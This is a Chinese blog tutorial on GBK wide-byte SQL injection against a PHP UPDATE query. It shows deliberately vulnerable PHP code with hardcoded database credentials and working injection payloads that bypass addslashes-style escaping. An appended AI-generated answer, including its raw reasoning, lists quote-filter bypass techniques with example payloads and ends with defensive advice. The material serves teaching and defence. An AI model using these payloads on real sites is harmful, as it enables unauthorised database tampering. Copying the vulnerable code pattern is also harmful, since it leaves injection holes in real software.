双字节编码绕PHP单引号转义又一例: SQL UPDATE注入

本文详细解析如何通过GBK双字节编码绕过PHP单引号转义限制,实现SQL注入攻击。通过案例分析,在不同环境下,如gpc=off和gpc=on的情况,展示了如何构造特定URL参数,让SQL语句执行成功,最终绕过转义,执行恶意SQL操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原理和《利用双字节编码突破PHP单引号转义限制进行SQL注入》 是一样的。


view plaincopy to clipboardprint?
<?php   
 
// by redice 2010.10.21  
 
// 连接mysql数据库  
$conn=0;  
$conn = mysql_connect("localhost","root","redice2009");  
if (!$conn)  
{  
  die("不能打开数据库连接,错误: " . mysql_error());  
}  
 
// 选择数据库  
mysql_select_db("test", $conn);  
 
// 设置mysql数据库输出数据的字符集  
mysql_query("set names 'gbk'");  
 
 
 
// 修改密码过程  
 
$newpass=$_REQUEST[p];  
 
 
$sql = "update user set pass='$newpass' where name='redice'";  
echo "执行的查询=".$sql."</br>";  
 
if(!mysql_query($sql,$conn))  
{  
      
    echo mysql_error();  
}  
 
?> 

<?php

// by redice 2010.10.21

// 连接mysql数据库
$conn=0;
$conn = mysql_connect("localhost","root","redice2009");
if (!$conn)
{
  die("不能打开数据库连接,错误: " . mysql_error());
}

// 选择数据库
mysql_select_db("test", $conn);

// 设置mysql数据库输出数据的字符集
mysql_query("set names 'gbk'");

 

// 修改密码过程

$newpass=$_REQUEST[p];


$sql = "update user set pass='$newpass' where name='redice'";
echo "执行的查询=".$sql."</br>";

if(!mysql_query($sql,$conn))
{
   
    echo mysql_error();
}

?>

 

(1)在gpc=off的情况下。

提交p=123',groupid='1  SQL语句变为:

update user set pass='123',groupid='1' where name='redice'

(2)在gpc=on的情况下。

利用GBK双字节编码,可以绕过单引号转义。

分析如下:

提交p=123%d5',groupid=1 where id=1%23

浏览器url编码后为:

p=123%d5%27,groupid=1%20where%20id=1%23

再经PHP url解码后为:

p=1230xd50x27,groupid=10x20where0x20id=10x23

再经PHP转义后为(在0x27前插入0x5c):

p=1230xd50x5c0x27,groupid=10x20where0x20id=10x23

由于服务端采用gbk编码连接数据库(set names 'gbk'),因此上述字节序列被MySQL作为GBK字符理解后即为:

p=123誠',groupid=1 where id=1#   

PS:0xd50x5c 对应了汉字誠,从而吃掉了单引号,绕过转义

最终SQL语句变为:

update user set pass='123誠',groupid=1 where id=1#' where name='redice'


PS:%23解码后为#,用以注释之后的SQL语句,使之符合语法规范。

 


 \

<think>嗯,用户想了解如何SQL注入中对单引号和双引号的过滤。首先,我需要回忆一下常见的SQL注入过技术,特别是针对引号被过滤的情况。 首先,用户提到的单引号和双引号被过滤,这意味着通常用来包围字符串的符号被阻止了。那么,攻击者可能需要找到不需要引号的方法,或者用其他方式代替引号。比如,使用十六进制编码或者字符编码来代替字符串。比如,将字符串转换为十六进制,这样就不需要引号了。例如,admin的十六进制是0x61646d696e,可以直接在查询中使用,可能过过滤。 另外,用户可能还会使用宽字节注入,特别是当数据库使用GBK等字符集时,通过添加%df这样的字符,使得转义的反斜杠被合并,从而吃掉转义符,让单引号逃逸。比如,%df%27可能会被转换成一個有效的多字节字符,从而让单引号生效。 另外,还有利用数据库内置函数或特性来生成字符。比如,使用CHAR()函数将ASCII码转换为字符,或者使用CONCAT函数拼接字符。例如,CHAR(97)就是'a',这样可以不用引号构造字符串。 还有一种方法是使用数字型注入,因为数字不需要引号,如果参数本身应该是数字,但未正确验证类型,攻击者可以直接注入数字值而不需要引号。不过这可能不适用于字符串参数的情况。 此外,注释符的使用也可能有帮助,比如用#或者--来注释掉后面的查询,从而避免闭合引号的问题。比如,在注入点后使用注释,使得后续的引号被忽略。 还有可能利用二次注入,如果应用在存储数据时过滤了引号,但在其他地方使用时未过滤,可能存储带有恶意代码的数据,后续使用时触发注入。 另外,使用动态执行语句,如在SQL Server中使用EXEC或EXECUTE,PostgreSQL中使用EXECUTE,可能允许执行动态构造的字符串,即使没有引号。 然后,我需要参考用户提供的引用内容。比如,引用[1]中的例子使用了||'1'='1',可能涉及逻辑过。引用[2]提到移除特殊字符,所以过可能需要找到不依赖这些字符的方式。引用[4]中的例子使用了into outfile,可能涉及到文件操作,但需要处理单引号的问题。 可能还需要考虑不同的数据库系统,比如MySQL、MSSQL、PostgreSQL,它们的语法可能不同,过方法也可能不同。例如,MySQL中的十六进制字符串,SQL Server中的CHAR函数等。 总结起来,过方法可能包括:十六进制编码、字符编码转换、宽字节注入、使用数据库函数生成字符串、数字型注入、注释符、二次注入、动态执行等。同时,用户需要根据具体应用的过滤机制和数据库类型选择合适的方法。 还需要注意,参数化查询是防御注入的最佳实践,但有时应用可能未正确使用参数化,导致仍有漏洞。此外,即使有过滤,攻击者仍可能找到过的方法,所以输入验证和过滤必须结合其他安全措施。 可能的问题是如何实际应用这些方法,比如具体的payload示例,以及不同数据库中的差异。例如,在MySQL中使用0x前缀表示十六进制,而PostgreSQL可能使用不同的语法。此外,某些函数可能在特定数据库中可用,其他数据库则不支持。 最后,需要提醒用户这些方法仅供学习防御之用,实际攻击是非法的。同时,开发者应注重输入验证、使用参数化查询、设置合适的数据库权限等多层防护。</think>### 如何SQL注入中对单引号和双引号的过滤? 在SQL注入攻击中,当单引号`'`和双引号`"`被过滤时,攻击者常通过以下技术过限制: --- #### 1. **利用十六进制编码** 将字符串转换为十六进制形式,避免直接使用引号。 **示例**: 原始注入语句: ```sql SELECT * FROM users WHERE username = 'admin' AND 1=1 ``` 单引号过滤: ```sql SELECT * FROM users WHERE username = 0x61646d696e -- 0x61646d696e是"admin"的十六进制 ``` 此方法适用于支持十六进制字符串的数据库(如MySQL)[^3]。 --- #### 2. **宽字节注入** 当数据库使用GBK等宽字符集时,通过`%df`或`%bf`等字符与转义符`\`结合,过过滤。 **示例**: 输入`%df%27`时,`%df`与转义后的`%5c`(`\`)合并为合法字符,使单引号`%27`生效: ```sql SELECT * FROM users WHERE id = '1%df%27 AND 1=1#' ``` 最终解析为`id = '1運' AND 1=1`,单引号未被闭合[^1]。 --- #### 3. **使用字符生成函数** 通过数据库内置函数动态生成字符: - **`CHAR()`函数**: ```sql SELECT * FROM users WHERE username = CHAR(97, 100, 109, 105, 110) -- 生成"admin" ``` - **`CONCAT()`函数**: ```sql SELECT * FROM users WHERE username = CONCAT('a','d','m','i','n') ``` --- #### 4. **数字型注入** 若参数本应为数字类型,直接注入数字逻辑表达式,无需引号: ```sql SELECT * FROM products WHERE id = 1 OR 1=1 ``` 此方法适用于未严格校验输入类型的场景[^2]。 --- #### 5. **注释符过** 利用注释符截断后续查询: ```sql SELECT * FROM users WHERE id = 1'-- ``` `--`或`#`会注释掉后续字符,避免闭合单引号的问题。 --- #### 6. **二次注入** 1. 存储恶意数据时保留特殊字符(如转义后的`\'`)。 2. 后续查询中,转义符被移除,导致单引号生效: ```sql INSERT INTO users (name) VALUES ('admin\''); -- 存储时转义 SELECT * FROM users WHERE name = 'admin''; -- 使用时单引号生效 ``` --- #### 7. **动态执行语句** 利用数据库的“执行字符串”功能: - **SQL Server**: ```sql EXEC('SELECT * FROM users WHERE name = ' + 'admin') ``` - **PostgreSQL**: ```sql EXECUTE 'SELECT * FROM users WHERE name = ' || 'admin' ``` --- ### 防御建议 1. **参数化查询**:优先使用预编译语句(如`PreparedStatement`)[^2]。 2. **严格输入验证**:通过正则表达式限制输入格式(如仅允许字母数字)[^2]。 3. **统一字符集**:避免宽字节漏洞,强制使用UTF-8等安全字符集。 4. **最小化数据库权限**:限制写文件(`into outfile`)等高危操作[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值